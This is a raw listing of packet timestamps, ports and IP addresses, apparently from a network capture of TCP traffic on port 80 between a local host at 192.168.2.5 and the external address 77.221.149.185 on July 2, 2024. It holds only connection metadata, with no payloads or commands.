Jul 2, 2024 22:52:24.242340088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.242347956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242371082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.242400885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.242805004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242821932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242831945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242841959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242852926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242862940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242872000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.242872953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.242902040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.243484020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243493080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243503094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243513107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243522882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243532896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243532896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.243544102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.243567944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.243586063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.244138002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244234085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244242907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244252920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244262934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244271994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244281054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244282961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.244294882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244303942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.244317055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.244337082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.245186090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245196104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245204926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245214939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245229959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245239019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245239019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.245249987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245259047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245269060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.245270967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.245299101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.245321989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246081114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246090889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246099949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246109962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246120930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246131897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246131897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246140957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246150970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246169090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246196985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246804953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246814966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246824980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246834993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246845961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246851921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246856928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246867895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246872902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246877909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.246895075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.246917009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.247813940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247824907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247834921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247845888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247857094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247867107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247876883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247879028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.247885942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247900009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.247915030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.247942924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.248701096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248713017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248720884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248730898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248739958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248748064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.248750925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248760939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248770952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248779058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.248780966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.248812914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.248830080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.249630928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249641895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249650955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249665022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249672890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249679089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.249682903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249692917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249702930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249706030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.249712944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.249731064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.249753952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.250498056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250509024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250518084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250528097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250538111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250546932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250547886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.250555992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250566006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250567913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.250576973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250586987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250595093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.250601053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.250623941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.250643015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.251507044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251518965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251528025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251538038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251547098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251555920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251560926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.251564980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251575947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251585007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251595020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251596928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.251605034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.251627922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.251651049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.252068996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.252079964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.252125025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.283941984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.283987999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.283998966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.284049034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.284182072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.284193993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.284204006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.284239054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.284348011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.284358025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.284409046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.330849886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.330883980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.330893040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.330986023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.331126928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331136942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331147909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331157923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331176996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.331207991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.331552029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331562042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331572056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331579924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331585884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331650972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.331700087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.331928015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331937075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.331945896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332001925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.332196951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332206011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332216024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332226038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332236052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332243919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.332245111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332277060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.332853079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332861900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332871914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332880974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332890034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332900047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332910061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332916021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.332918882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332928896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.332954884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.332968950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.333787918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333798885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333807945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333817959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333827972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333837986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333847046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333852053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.333857059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333865881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.333878040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.333895922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.334691048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334702969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334712029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334721088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334731102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334739923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334752083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334754944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.334763050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334775925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.334794998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.334817886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.335575104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335592031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335602045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335616112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335624933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335635900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335643053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.335645914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335654974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335656881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.335664988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.335673094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.335695982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.336463928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336474895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336489916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336499929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336513042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.336534977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.336793900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336802959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336813927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336824894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.336843014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.336855888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.337158918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337168932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337178946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337188959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337198019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337207079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.337207079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337218046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337224007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.337228060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337234974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.337238073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337265015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.337289095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.337959051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337970018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337980986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.337994099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338002920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338011026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338011980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338021994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338031054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338038921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338042974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338052988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338066101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338071108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338094950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338648081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338658094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338669062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338677883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338689089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338697910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.338700056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338716984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.338742971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.339175940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339184999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339194059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339202881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339212894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339221954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339225054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.339231968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339241028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339247942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.339251041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339260101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339263916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.339270115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.339281082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.339298010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.340099096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.340109110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.340118885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.340147018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.340181112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.374115944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374169111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374178886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374222994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.374311924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374322891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374331951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374341965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.374361038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.374382973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420114994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420125008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420135021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420171976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420188904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420267105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420279026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420289040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420300007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420317888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420342922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420653105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420664072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420675039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420686007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.420696974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420722961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.420928955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421034098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.421045065 CEST	80	49712	77.221.149.185	192.168.2.5
